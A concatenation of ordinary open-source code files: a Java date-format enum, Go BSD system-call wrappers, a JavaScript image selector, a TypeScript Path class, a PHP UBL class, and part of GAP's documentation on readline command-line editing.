STRICT_DATE_TIME_NO_MILLIS("strictDateTimeNoMillis", "strict_date_time_no_millis"),
STRICT_HOUR("strictHour", "strict_hour"),
STRICT_HOUR_MINUTE("strictHourMinute", "strict_hour_minute"),
STRICT_HOUR_MINUTE_SECOND("strictHourMinuteSecond", "strict_hour_minute_second"),
STRICT_HOUR_MINUTE_SECOND_FRACTION("strictHourMinuteSecondFraction", "strict_hour_minute_second_fraction"),
STRICT_HOUR_MINUTE_SECOND_MILLIS("strictHourMinuteSecondMillis", "strict_hour_minute_second_millis"),
STRICT_ORDINAL_DATE("strictOrdinalDate", "strict_ordinal_date"),
STRICT_ORDINAL_DATE_TIME("strictOrdinalDateTime", "strict_ordinal_date_time"),
STRICT_ORDINAL_DATE_TIME_NO_MILLIS("strictOrdinalDateTimeNoMillis", "strict_ordinal_date_time_no_millis"),
STRICT_TIME("strictTime", "strict_time"),
STRICT_TIME_NO_MILLIS("strictTimeNoMillis", "strict_time_no_millis"),
STRICT_T_TIME("strictTTime", "strict_t_time"),
STRICT_T_TIME_NO_MILLIS("strictTTimeNoMillis", "strict_t_time_no_millis"),
STRICT_WEEK_DATE("strictWeekDate", "strict_week_date"),
STRICT_WEEK_DATE_TIME("strictWeekDateTime", "strict_week_date_time"),
STRICT_WEEK_DATE_TIME_NO_MILLIS("strictWeekDateTimeNoMillis", "strict_week_date_time_no_millis"),
STRICT_WEEKYEAR("strictWeekyear", "strict_weekyear"),
STRICT_WEEKYEAR_WEEK("strictWeekyearWeek", "strict_weekyear_week"),
STRICT_WEEKYEAR_WEEK_DAY("strictWeekyearWeekDay", "strict_weekyear_week_day"),
STRICT_YEAR("strictYear", "strict_year"),
STRICT_YEAR_MONTH("strictYearMonth", "strict_year_month"),
STRICT_YEAR_MONTH_DAY("strictYearMonthDay", "strict_year_month_day");
private static final Set<String> ALL_NAMES = Arrays.stream(values())
.flatMap(n -> Stream.of(n.snakeCaseName, n.camelCaseName))
.collect(Collectors.toSet());
private final String camelCaseName;
private final String snakeCaseName;
FormatNames(String camelCaseName, String snakeCaseName) {
this.camelCaseName = camelCaseName;
this.snakeCaseName = snakeCaseName;
}
public static boolean exist(String format) {
return ALL_NAMES.contains(format);
}
public boolean matches(String format) {
return format.equals(camelCaseName) || format.equals(snakeCaseName);
}
}
| {
"pile_set_name": "Github"
} |
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build darwin dragonfly freebsd netbsd openbsd
// BSD system call wrappers shared by *BSD based systems
// including OS X (Darwin) and FreeBSD. Like the other
// syscall_*.go files it is compiled as Go code but also
// used as input to mksyscall which parses the //sys
// lines and generates system call stubs.
package unix
import (
"runtime"
"syscall"
"unsafe"
)
/*
* Wrapped
*/
//sysnb getgroups(ngid int, gid *_Gid_t) (n int, err error)
//sysnb setgroups(ngid int, gid *_Gid_t) (err error)
func Getgroups() (gids []int, err error) {
n, err := getgroups(0, nil)
if err != nil {
return nil, err
}
if n == 0 {
return nil, nil
}
// Sanity check group count. Max is 16 on BSD.
if n < 0 || n > 1000 {
return nil, EINVAL
}
a := make([]_Gid_t, n)
n, err = getgroups(n, &a[0])
if err != nil {
return nil, err
}
gids = make([]int, n)
for i, v := range a[0:n] {
gids[i] = int(v)
}
return
}
func Setgroups(gids []int) (err error) {
if len(gids) == 0 {
return setgroups(0, nil)
}
a := make([]_Gid_t, len(gids))
for i, v := range gids {
a[i] = _Gid_t(v)
}
return setgroups(len(a), &a[0])
}
func ReadDirent(fd int, buf []byte) (n int, err error) {
// Final argument is (basep *uintptr) and the syscall doesn't take nil.
// 64 bits should be enough. (32 bits isn't even on 386). Since the
// actual system call is getdirentries64, 64 is a good guess.
// TODO(rsc): Can we use a single global basep for all calls?
var base = (*uintptr)(unsafe.Pointer(new(uint64)))
return Getdirentries(fd, buf, base)
}
// Wait status is 7 bits at bottom, either 0 (exited),
// 0x7F (stopped), or a signal number that caused an exit.
// The 0x80 bit is whether there was a core dump.
// An extra number (exit code, signal causing a stop)
// is in the high bits.
type WaitStatus uint32
const (
mask = 0x7F
core = 0x80
shift = 8
exited = 0
stopped = 0x7F
)
func (w WaitStatus) Exited() bool { return w&mask == exited }
func (w WaitStatus) ExitStatus() int {
if w&mask != exited {
return -1
}
return int(w >> shift)
}
func (w WaitStatus) Signaled() bool { return w&mask != stopped && w&mask != 0 }
func (w WaitStatus) Signal() syscall.Signal {
sig := syscall.Signal(w & mask)
if sig == stopped || sig == 0 {
return -1
}
return sig
}
func (w WaitStatus) CoreDump() bool { return w.Signaled() && w&core != 0 }
func (w WaitStatus) Stopped() bool { return w&mask == stopped && syscall.Signal(w>>shift) != SIGSTOP }
func (w WaitStatus) Continued() bool { return w&mask == stopped && syscall.Signal(w>>shift) == SIGSTOP }
func (w WaitStatus) StopSignal() syscall.Signal {
if !w.Stopped() {
return -1
}
return syscall.Signal(w>>shift) & 0xFF
}
func (w WaitStatus) TrapCause() int { return -1 }
//sys wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error)
func Wait4(pid int, wstatus *WaitStatus, options int, rusage *Rusage) (wpid int, err error) {
var status _C_int
wpid, err = wait4(pid, &status, options, rusage)
if wstatus != nil {
*wstatus = WaitStatus(status)
}
return
}
//sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
//sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
//sys connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
//sysnb socket(domain int, typ int, proto int) (fd int, err error)
//sys getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error)
//sys setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error)
//sysnb getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)
//sysnb getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)
//sys Shutdown(s int, how int) (err error)
func (sa *SockaddrInet4) sockaddr() (unsafe.Pointer, _Socklen, error) {
if sa.Port < 0 || sa.Port > 0xFFFF {
return nil, 0, EINVAL
}
sa.raw.Len = SizeofSockaddrInet4
sa.raw.Family = AF_INET
p := (*[2]byte)(unsafe.Pointer(&sa.raw.Port))
p[0] = byte(sa.Port >> 8)
p[1] = byte(sa.Port)
for i := 0; i < len(sa.Addr); i++ {
sa.raw.Addr[i] = sa.Addr[i]
}
return unsafe.Pointer(&sa.raw), _Socklen(sa.raw.Len), nil
}
func (sa *SockaddrInet6) sockaddr() (unsafe.Pointer, _Socklen, error) {
if sa.Port < 0 || sa.Port > 0xFFFF {
return nil, 0, EINVAL
}
sa.raw.Len = SizeofSockaddrInet6
sa.raw.Family = AF_INET6
p := (*[2]byte)(unsafe.Pointer(&sa.raw.Port))
p[0] = byte(sa.Port >> 8)
p[1] = byte(sa.Port)
sa.raw.Scope_id = sa.ZoneId
for i := 0; i < len(sa.Addr); i++ {
sa.raw.Addr[i] = sa.Addr[i]
}
return unsafe.Pointer(&sa.raw), _Socklen(sa.raw.Len), nil
}
func (sa *SockaddrUnix) sockaddr() (unsafe.Pointer, _Socklen, error) {
name := sa.Name
n := len(name)
if n >= len(sa.raw.Path) || n == 0 {
return nil, 0, EINVAL
}
sa.raw.Len = byte(3 + n) // 2 for Family, Len; 1 for NUL
sa.raw.Family = AF_UNIX
for i := 0; i < n; i++ {
sa.raw.Path[i] = int8(name[i])
}
return unsafe.Pointer(&sa.raw), _Socklen(sa.raw.Len), nil
}
func (sa *SockaddrDatalink) sockaddr() (unsafe.Pointer, _Socklen, error) {
if sa.Index == 0 {
return nil, 0, EINVAL
}
sa.raw.Len = sa.Len
sa.raw.Family = AF_LINK
sa.raw.Index = sa.Index
sa.raw.Type = sa.Type
sa.raw.Nlen = sa.Nlen
sa.raw.Alen = sa.Alen
sa.raw.Slen = sa.Slen
for i := 0; i < len(sa.raw.Data); i++ {
sa.raw.Data[i] = sa.Data[i]
}
return unsafe.Pointer(&sa.raw), SizeofSockaddrDatalink, nil
}
func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
switch rsa.Addr.Family {
case AF_LINK:
pp := (*RawSockaddrDatalink)(unsafe.Pointer(rsa))
sa := new(SockaddrDatalink)
sa.Len = pp.Len
sa.Family = pp.Family
sa.Index = pp.Index
sa.Type = pp.Type
sa.Nlen = pp.Nlen
sa.Alen = pp.Alen
sa.Slen = pp.Slen
for i := 0; i < len(sa.Data); i++ {
sa.Data[i] = pp.Data[i]
}
return sa, nil
case AF_UNIX:
pp := (*RawSockaddrUnix)(unsafe.Pointer(rsa))
if pp.Len < 2 || pp.Len > SizeofSockaddrUnix {
return nil, EINVAL
}
sa := new(SockaddrUnix)
// Some BSDs include the trailing NUL in the length, whereas
// others do not. Work around this by subtracting the leading
// family and len. The path is then scanned to see if a NUL
// terminator still exists within the length.
n := int(pp.Len) - 2 // subtract leading Family, Len
for i := 0; i < n; i++ {
if pp.Path[i] == 0 {
// found early NUL; assume Len included the NUL
// or was overestimating.
n = i
break
}
}
bytes := (*[10000]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
sa.Name = string(bytes)
return sa, nil
case AF_INET:
pp := (*RawSockaddrInet4)(unsafe.Pointer(rsa))
sa := new(SockaddrInet4)
p := (*[2]byte)(unsafe.Pointer(&pp.Port))
sa.Port = int(p[0])<<8 + int(p[1])
for i := 0; i < len(sa.Addr); i++ {
sa.Addr[i] = pp.Addr[i]
}
return sa, nil
case AF_INET6:
pp := (*RawSockaddrInet6)(unsafe.Pointer(rsa))
sa := new(SockaddrInet6)
p := (*[2]byte)(unsafe.Pointer(&pp.Port))
sa.Port = int(p[0])<<8 + int(p[1])
sa.ZoneId = pp.Scope_id
for i := 0; i < len(sa.Addr); i++ {
sa.Addr[i] = pp.Addr[i]
}
return sa, nil
}
return nil, EAFNOSUPPORT
}
func Accept(fd int) (nfd int, sa Sockaddr, err error) {
var rsa RawSockaddrAny
var len _Socklen = SizeofSockaddrAny
nfd, err = accept(fd, &rsa, &len)
if err != nil {
return
}
if runtime.GOOS == "darwin" && len == 0 {
// Accepted socket has no address.
// This is likely due to a bug in xnu kernels,
// where instead of ECONNABORTED error socket
// is accepted, but has no address.
Close(nfd)
return 0, nil, ECONNABORTED
}
sa, err = anyToSockaddr(&rsa)
if err != nil {
Close(nfd)
nfd = 0
}
return
}
func Getsockname(fd int) (sa Sockaddr, err error) {
var rsa RawSockaddrAny
var len _Socklen = SizeofSockaddrAny
if err = getsockname(fd, &rsa, &len); err != nil {
return
}
// TODO(jsing): DragonFly has a "bug" (see issue 3349), which should be
// reported upstream.
if runtime.GOOS == "dragonfly" && rsa.Addr.Family == AF_UNSPEC && rsa.Addr.Len == 0 {
rsa.Addr.Family = AF_UNIX
rsa.Addr.Len = SizeofSockaddrUnix
}
return anyToSockaddr(&rsa)
}
//sysnb socketpair(domain int, typ int, proto int, fd *[2]int32) (err error)
func GetsockoptByte(fd, level, opt int) (value byte, err error) {
var n byte
vallen := _Socklen(1)
err = getsockopt(fd, level, opt, unsafe.Pointer(&n), &vallen)
return n, err
}
func GetsockoptInet4Addr(fd, level, opt int) (value [4]byte, err error) {
vallen := _Socklen(4)
err = getsockopt(fd, level, opt, unsafe.Pointer(&value[0]), &vallen)
return value, err
}
func GetsockoptIPMreq(fd, level, opt int) (*IPMreq, error) {
var value IPMreq
vallen := _Socklen(SizeofIPMreq)
err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
return &value, err
}
func GetsockoptIPv6Mreq(fd, level, opt int) (*IPv6Mreq, error) {
var value IPv6Mreq
vallen := _Socklen(SizeofIPv6Mreq)
err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
return &value, err
}
func GetsockoptIPv6MTUInfo(fd, level, opt int) (*IPv6MTUInfo, error) {
var value IPv6MTUInfo
vallen := _Socklen(SizeofIPv6MTUInfo)
err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
return &value, err
}
func GetsockoptICMPv6Filter(fd, level, opt int) (*ICMPv6Filter, error) {
var value ICMPv6Filter
vallen := _Socklen(SizeofICMPv6Filter)
err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
return &value, err
}
//sys recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error)
//sys sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error)
//sys recvmsg(s int, msg *Msghdr, flags int) (n int, err error)
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
var msg Msghdr
var rsa RawSockaddrAny
msg.Name = (*byte)(unsafe.Pointer(&rsa))
msg.Namelen = uint32(SizeofSockaddrAny)
var iov Iovec
if len(p) > 0 {
iov.Base = (*byte)(unsafe.Pointer(&p[0]))
iov.SetLen(len(p))
}
var dummy byte
if len(oob) > 0 {
// receive at least one normal byte
if len(p) == 0 {
iov.Base = &dummy
iov.SetLen(1)
}
msg.Control = (*byte)(unsafe.Pointer(&oob[0]))
msg.SetControllen(len(oob))
}
msg.Iov = &iov
msg.Iovlen = 1
if n, err = recvmsg(fd, &msg, flags); err != nil {
return
}
oobn = int(msg.Controllen)
recvflags = int(msg.Flags)
// source address is only specified if the socket is unconnected
if rsa.Addr.Family != AF_UNSPEC {
from, err = anyToSockaddr(&rsa)
}
return
}
//sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
_, err = SendmsgN(fd, p, oob, to, flags)
return
}
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
var ptr unsafe.Pointer
var salen _Socklen
if to != nil {
ptr, salen, err = to.sockaddr()
if err != nil {
return 0, err
}
}
var msg Msghdr
msg.Name = (*byte)(unsafe.Pointer(ptr))
msg.Namelen = uint32(salen)
var iov Iovec
if len(p) > 0 {
iov.Base = (*byte)(unsafe.Pointer(&p[0]))
iov.SetLen(len(p))
}
var dummy byte
if len(oob) > 0 {
// send at least one normal byte
if len(p) == 0 {
iov.Base = &dummy
iov.SetLen(1)
}
msg.Control = (*byte)(unsafe.Pointer(&oob[0]))
msg.SetControllen(len(oob))
}
msg.Iov = &iov
msg.Iovlen = 1
if n, err = sendmsg(fd, &msg, flags); err != nil {
return 0, err
}
if len(oob) > 0 && len(p) == 0 {
n = 0
}
return n, nil
}
//sys kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error)
func Kevent(kq int, changes, events []Kevent_t, timeout *Timespec) (n int, err error) {
var change, event unsafe.Pointer
if len(changes) > 0 {
change = unsafe.Pointer(&changes[0])
}
if len(events) > 0 {
event = unsafe.Pointer(&events[0])
}
return kevent(kq, change, len(changes), event, len(events), timeout)
}
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
// sysctlmib translates name to mib number and appends any additional args.
func sysctlmib(name string, args ...int) ([]_C_int, error) {
// Translate name to mib number.
mib, err := nametomib(name)
if err != nil {
return nil, err
}
for _, a := range args {
mib = append(mib, _C_int(a))
}
return mib, nil
}
func Sysctl(name string) (string, error) {
return SysctlArgs(name)
}
func SysctlArgs(name string, args ...int) (string, error) {
mib, err := sysctlmib(name, args...)
if err != nil {
return "", err
}
// Find size.
n := uintptr(0)
if err := sysctl(mib, nil, &n, nil, 0); err != nil {
return "", err
}
if n == 0 {
return "", nil
}
// Read into buffer of that size.
buf := make([]byte, n)
if err := sysctl(mib, &buf[0], &n, nil, 0); err != nil {
return "", err
}
// Throw away terminating NUL.
if n > 0 && buf[n-1] == '\x00' {
n--
}
return string(buf[0:n]), nil
}
func SysctlUint32(name string) (uint32, error) {
return SysctlUint32Args(name)
}
func SysctlUint32Args(name string, args ...int) (uint32, error) {
mib, err := sysctlmib(name, args...)
if err != nil {
return 0, err
}
n := uintptr(4)
buf := make([]byte, 4)
if err := sysctl(mib, &buf[0], &n, nil, 0); err != nil {
return 0, err
}
if n != 4 {
return 0, EIO
}
return *(*uint32)(unsafe.Pointer(&buf[0])), nil
}
func SysctlUint64(name string, args ...int) (uint64, error) {
mib, err := sysctlmib(name, args...)
if err != nil {
return 0, err
}
n := uintptr(8)
buf := make([]byte, 8)
if err := sysctl(mib, &buf[0], &n, nil, 0); err != nil {
return 0, err
}
if n != 8 {
return 0, EIO
}
return *(*uint64)(unsafe.Pointer(&buf[0])), nil
}
func SysctlRaw(name string, args ...int) ([]byte, error) {
mib, err := sysctlmib(name, args...)
if err != nil {
return nil, err
}
// Find size.
n := uintptr(0)
if err := sysctl(mib, nil, &n, nil, 0); err != nil {
return nil, err
}
if n == 0 {
return nil, nil
}
// Read into buffer of that size.
buf := make([]byte, n)
if err := sysctl(mib, &buf[0], &n, nil, 0); err != nil {
return nil, err
}
// The actual call may return less than the original reported required
// size so ensure we deal with that.
return buf[:n], nil
}
//sys utimes(path string, timeval *[2]Timeval) (err error)
func Utimes(path string, tv []Timeval) error {
if tv == nil {
return utimes(path, nil)
}
if len(tv) != 2 {
return EINVAL
}
return utimes(path, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
}
func UtimesNano(path string, ts []Timespec) error {
if ts == nil {
return utimes(path, nil)
}
// TODO: The BSDs can do utimensat with SYS_UTIMENSAT but it
// isn't supported by darwin so this uses utimes instead
if len(ts) != 2 {
return EINVAL
}
// Not as efficient as it could be because Timespec and
// Timeval have different types in the different OSes
tv := [2]Timeval{
NsecToTimeval(TimespecToNsec(ts[0])),
NsecToTimeval(TimespecToNsec(ts[1])),
}
return utimes(path, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
}
//sys futimes(fd int, timeval *[2]Timeval) (err error)
func Futimes(fd int, tv []Timeval) error {
if tv == nil {
return futimes(fd, nil)
}
if len(tv) != 2 {
return EINVAL
}
return futimes(fd, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
}
//sys fcntl(fd int, cmd int, arg int) (val int, err error)
// TODO: wrap
// Acct(name nil-string) (err error)
// Gethostuuid(uuid *byte, timeout *Timespec) (err error)
// Madvise(addr *byte, len int, behav int) (err error)
// Mprotect(addr *byte, len int, prot int) (err error)
// Msync(addr *byte, len int, flags int) (err error)
// Ptrace(req int, pid int, addr uintptr, data int) (ret uintptr, err error)
var mapper = &mmapper{
active: make(map[*byte][]byte),
mmap: mmap,
munmap: munmap,
}
func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) {
return mapper.Mmap(fd, offset, length, prot, flags)
}
func Munmap(b []byte) (err error) {
return mapper.Munmap(b)
}
| {
"pile_set_name": "Github"
} |
import {memoizedSelector, camelize} from 'utils';
import {findThumbnailCandidate, thumbnailCandidateId} from '../thumbnailCandidates';
import {fileExists, file} from 'files/selectors';
import {pageType as pageTypeSelector} from 'pageTypes/selectors';
export default function pageBackgroundImageUrl({page: pageSelector, variant = 'medium'}) {
return memoizedSelector(
pageSelector,
fileExists(),
state => state,
(page, fileExists, state) => {
if (!page) {
return undefined;
}
const pageType = pageTypeSelector({page})(state);
const candidate = findThumbnailCandidate({
candidates: pageType.thumbnailCandidates,
page,
fileExists
});
if (!candidate) {
return undefined;
}
var fileSelector = file(camelize(candidate.collectionName), {
id: thumbnailCandidateId(page, candidate)
});
if (candidate.collectionName == 'image_files') {
return fileSelector(state).urls[variant];
}
else if (candidate.collectionName == 'video_files') {
return fileSelector(state).urls[`poster_${variant}`];
}
}
);
}
| {
"pile_set_name": "Github"
} |
import ocl from './ocl'
import Line from './line'
class Path {
actualClass: any
constructor() {
this.actualClass = new ocl.Path()
}
append(line: Line) {
this.actualClass.append(line.actualClass)
}
}
export default Path | {
"pile_set_name": "Github"
} |
<?php
namespace oasis\names\specification\ubl\schema\xsd\CommonAggregateComponents_2;
/**
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2
* @xmlType
* @xmlName PartyNameType
* @var oasis\names\specification\ubl\schema\xsd\CommonAggregateComponents_2\PartyNameType
* @xmlComponentType ABIE
* @xmlDictionaryEntryName Party Name. Details
* @xmlDefinition Information about a party's name.
* @xmlObjectClass Party Name
*/
class PartyNameType
{
/**
* @ComponentType BBIE
* @DictionaryEntryName Party Name. Name
* @Definition The name of the party.
* @Cardinality 1
* @ObjectClass Party Name
* @PropertyTerm Name
* @RepresentationTerm Name
* @DataType Name. Type
* @Examples "Microsoft"
* @xmlType element
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2
* @xmlMinOccurs 1
* @xmlMaxOccurs 1
* @xmlName Name
* @var oasis\names\specification\ubl\schema\xsd\CommonBasicComponents_2\Name
*/
public $Name;
} // end class PartyNameType
| {
"pile_set_name": "Github"
} |
#############################################################################
##
## This file is part of GAP, a system for computational discrete algebra.
## This file's authors include Frank Lübeck.
##
## Copyright of GAP belongs to its developers, whose names are too numerous
## to list here. Please refer to the COPYRIGHT file for details.
##
## SPDX-License-Identifier: GPL-2.0-or-later
##
## This file contains function for handling some keys in line edit mode.
## It is only used if the GAP kernel was compiled to use the GNU
## readline library.
##
## To avoid using the readline library, pass '--without-readline' to
## the configure script when compiling GAP.
##
if GAPInfo.CommandLineOptions.E then
############################################################################
## readline interface functions
GAPInfo.UseReadline := true;
## <#GAPDoc Label="readline">
## <Section Label="sec:readline">
## <Heading>Editing using the <C>readline</C> library</Heading>
##
## The descriptions in this section are valid only if your &GAP;
## installation uses the <C>readline</C> library for command line editing.
## You can check by <C>IsBound(GAPInfo.UseReadline);</C> if this is the
## case. <P/>
##
## You can use all the features of
## <C>readline</C>, as for example explained
## in <URL>https://tiswww.case.edu/php/chet/readline/rluserman.html</URL>.
## Therefore the command line editing in &GAP; is similar to the
## <C>bash</C> shell and many other programs. On a Unix/Linux system you
## may also have a manpage, try <C>man readline</C>. <P/>
##
## Compared to the command line editing which was used in &GAP; up to
## version 4.4 (or compared to not using the <C>readline</C> library)
## using <C>readline</C> has several advantages:
## <List>
## <Item>Most keys still do the same as explained in
## <Ref Sect="Line Editing"/> (in the default configuration).
## </Item>
## <Item>There are many additional commands, e.g. undoing (<B>Ctrl-_</B>,
## keyboard macros (<B>Ctrl-x(</B>, <B>Ctrl-x)</B> and <B>Ctrl-xe</B>),
## file name completion (hit <B>Esc</B> two or four times),
## showing matching parentheses,
## <C>vi</C>-style key bindings, deleting and yanking text, ...</Item>
## <Item>Lines which are longer than a physical terminal row can be edited
## more conveniently.</Item>
## <Item>Arbitrary unicode characters can be typed into string literals.
## </Item>
## <Item>The key bindings can be configured, either via your
## <File>~/.inputrc</File> file or by &GAP; commands, see <Ref
## Subsect="ssec:readlineCustom"/>.</Item>
## <Item>The command line history can be saved to and read from a file, see
## <Ref Subsect="ssec:cmdlinehistory"/>.</Item>
## <!-- <Item>demo mode <Ref Subsect="ssec:demoreadline"/>???</Item> -->
## <Item>Adventurous users can even implement completely new
## command line editing functions on &GAP; level, see <Ref
## Subsect="ssec:readlineUserFuncs"/>.</Item>
##
## </List>
## <P/>
##
## <Subsection Label="ssec:readlineCustom">
## <Index Key="ReadlineInitLine"><C>ReadlineInitLine</C></Index>
## <Heading>Readline customization</Heading>
##
## You can use your readline init file (by default <File>~/.inputrc</File>
## on Unix/Linux) to customize key bindings. If you want settings be used
## only within &GAP; you can write them between lines containing <C>$if
## GAP</C> and <C>$endif</C>. For a detailed documentation of the available
## settings and functions see <URL Text="here">
## https://tiswww.case.edu/php/chet/readline/rluserman.html</URL>.
##
## <Listing Type="From readline init file">
## $if GAP
## set blink-matching-paren on
## "\C-x\C-o": dump-functions
## "\ep": kill-region
## $endif
## </Listing>
##
## Alternatively, from within &GAP; the command
## <C>ReadlineInitLine(<A>line</A>);</C> can be used, where <A>line</A> is
## a string containing a line as in the init file.
## <P/>
##
## Caveat: &GAP; overwrites the following keys (after reading the
## <File>~/.inputrc</File> file): <C>\C-g</C>, <C>\C-i</C>, <C>\C-n</C>,
## <C>\C-o</C>, <C>\C-p</C>, <C>\C-r</C>, <C>\C-\</C>, <C>\e<</C>,
## <C>\e></C>, <C>Up</C>, <C>Down</C>, <C>TAB</C>, <C>Space</C>,
## <C>PageUp</C>, <C>PageDown</C>. So, do not redefine these in your
## <File>~/.inputrc</File>.
## <P/>
##
## Note that after pressing <B>Ctrl-v</B> the next special character is
## input verbatim. This is very useful to bind keys or key sequences.
## For example, binding the function key <B>F3</B> to the command
## <C>kill-whole-line</C> by using the sequence <B>Ctrl-v</B> <B>F3</B>
## looks on many terminals like this:
## <C>ReadlineInitLine("\"^[OR\":kill-whole-line");</C>.
## (You can get the line back later with <B>Ctrl-y</B>.)
## <P/>
##
## The <B>Ctrl-g</B> key can be used to type any unicode character by its code
## point. The number of the character can either be given as a count, or if the
## count is one the input characters before the cursor are taken (as decimal
## number or as hex number which starts with <C>0x</C>. For example, the
## double stroke character ℤ can be input by any of the three key
## sequences <B>Esc 8484 Ctrl-g</B>, <B>8484 Ctrl-g</B> or <B>0x2124
## Ctrl-g</B>.
## <P/>
##
## Some terminals bind the <B>Ctrl-s</B> and <B>Ctrl-q</B> keys to stop and
## restart terminal output. Furthermore, sometimes <B>Ctrl-\</B> quits a
## program. To disable this behaviour (and maybe use these keys for command
## line editing) you can use <C>Exec("stty stop undef; stty start undef;
## stty quit undef");</C> in your &GAP; session or your <F>gaprc</F> file
## (see <Ref Sect="sect:gap.ini"/>).
## <P/>
## </Subsection>
##
## <Subsection Label="ssec:cmdlinehistory">
## <Heading>The command line history</Heading>
##
## &GAP; can save your input lines for later reuse. The keys <B>Ctrl-p</B>
## (or <B>Up</B>), <B>Ctrl-n</B> (or <B>Down</B>),
## <B>ESC<</B> and <B>ESC></B> work as documented in <Ref
## Sect="Line Editing"/>, that is they scroll backward and
## forward in the history or go to its beginning or end.
## Also, <B>Ctrl-o</B> works as documented, it is useful for repeating a
## sequence of previous lines.
## (But <B>Ctrl-l</B> clears the screen as in other programs.)
## <P/>
##
## The command line history can be used across several instances of &GAP;
## via the following two commands.
## </Subsection>
##
## <ManSection >
## <Func Arg="[fname], [app]" Name="SaveCommandLineHistory" />
## <Returns><K>fail</K> or number of saved lines</Returns>
## <Func Arg="[fname], [app]" Name="ReadCommandLineHistory" />
## <Returns><K>fail</K> or number of added lines</Returns>
##
## <Description>
## The first command saves the lines in the command line history to the
## file given by the string <A>fname</A>. The default for <A>fname</A> is
## <F>history</F> in the user's &GAP; root path <C>GAPInfo.UserGapRoot</C>
## or <F>"~/.gap_hist"</F> if this directory does not exist.
## If the optional argument <A>app</A> is
## <K>true</K> then the lines are appended to that file otherwise the file
## is overwritten.
## <P/>
## The second command is the converse, it reads the lines from file
## <A>fname</A>. If the optional argument <A>app</A> is true the lines
## are appended to the history, else it <Emph>prepends</Emph> them.
## <P/>
## By default, the command line history stores up to 1000 input lines.
## command line history. This number may be restricted or enlarged via
## via <C>SetUserPreference("HistoryMaxLines", num);</C> which may be set
## to a non negative number <C>num</C> to store up to <C>num</C> input
## lines or to <K>infinity</K> to store arbitrarily many lines.
## An automatic storing and restoring of the command line history can
## be configured via
## <C>SetUserPreference("SaveAndRestoreHistory", true);</C>.
## <P/>
## Note that these functions are only available if your &GAP; is configured
## to use the <C>readline</C> library.
## </Description>
## </ManSection>
##
## <Subsection Label="ssec:readlineUserFuncs">
## <Index Key="InstallReadlineMacro"><C>InstallReadlineMacro</C></Index>
## <Index Key="InvocationReadlineMacro"><C>InvocationReadlineMacro</C></Index>
##
## <Heading>Writing your own command line editing functions</Heading>
## It is possible to write new command line editing functions in &GAP; as
## follows.
## <P/>
## The functions have one argument <A>l</A> which is a list with five
## entries of the form <C>[count, key, line, cursorpos, markpos]</C> where
## <C>count</C> and <C>key</C> are the last pressed key and its count
## (these are not so useful here because users probably do not want to
## overwrite the binding of a single key), then <C>line</C> is a string
## containing the line typed so far, <C>cursorpos</C> is the current
## position of the cursor (point), and <C>markpos</C> the current position
## of the mark.
## <P/>
## The result of such a function must be a list which can have various
## forms:
## <List >
## <Mark><C>[str]</C></Mark>
## <Item>with a string <C>str</C>. In this case the text <C>str</C> is
## inserted at the cursor position.</Item>
## <Mark><C>[kill, begin, end]</C></Mark>
## <Item> where <C>kill</C> is <K>true</K> or <K>false</K> and <C>begin</C>
## and <C>end</C> are positions on the input line. This removes the text
## from the lower position to before the higher position. If <C>kill</C>
## is <K>true</K> the text is killed, i.e. put in the kill ring for later
## yanking.
## </Item>
## <Mark><C>[begin, end, str]</C></Mark>
## <Item>where <C>begin</C> and <C>end</C> are positions on the input line
## and <C>str</C> is a string.
## Then the text from position <C>begin</C> to before <C>end</C> is
## substituted by <C>str</C>.
## </Item>
## <Mark><C>[1, lstr]</C></Mark>
## <Item>
## where <C>lstr</C> is a list of strings. Then these strings are displayed
## like a list of possible completions. The input line is not changed.
## </Item>
## <Mark><C>[2, chars]</C></Mark>
## <Item>where <C>chars</C> is a string. The characters from <C>chars</C>
## are used as the next characters from the input. (At most 512 characters
## are possible.)</Item>
## <Mark><C>[100]</C></Mark>
## <Item>This rings the bell as configured in the terminal.</Item>
## </List>
##
## In the first three cases the result list can contain a position as a
## further entry, this becomes the new cursor position. Or it
## can contain two positions as further entries, these become the new
## cursor position and the new position of the mark.
## <P/>
##
## Such a function can be installed as a macro for <C>readline</C> via
## <C>InstallReadlineMacro(name, fun);</C> where <C>name</C> is a string
## used as name of the macro and <C>fun</C> is a function as above.
## This macro can be called by a key sequence which is returned by
## <C>InvocationReadlineMacro(name);</C>.
## <P/>
## As an example we define a function which puts double quotes around the
## word under or before the cursor position. The space character, the
## characters in <C>"(,)"</C>, and the beginning and end of the line
## are considered as word boundaries. The function is then installed as a
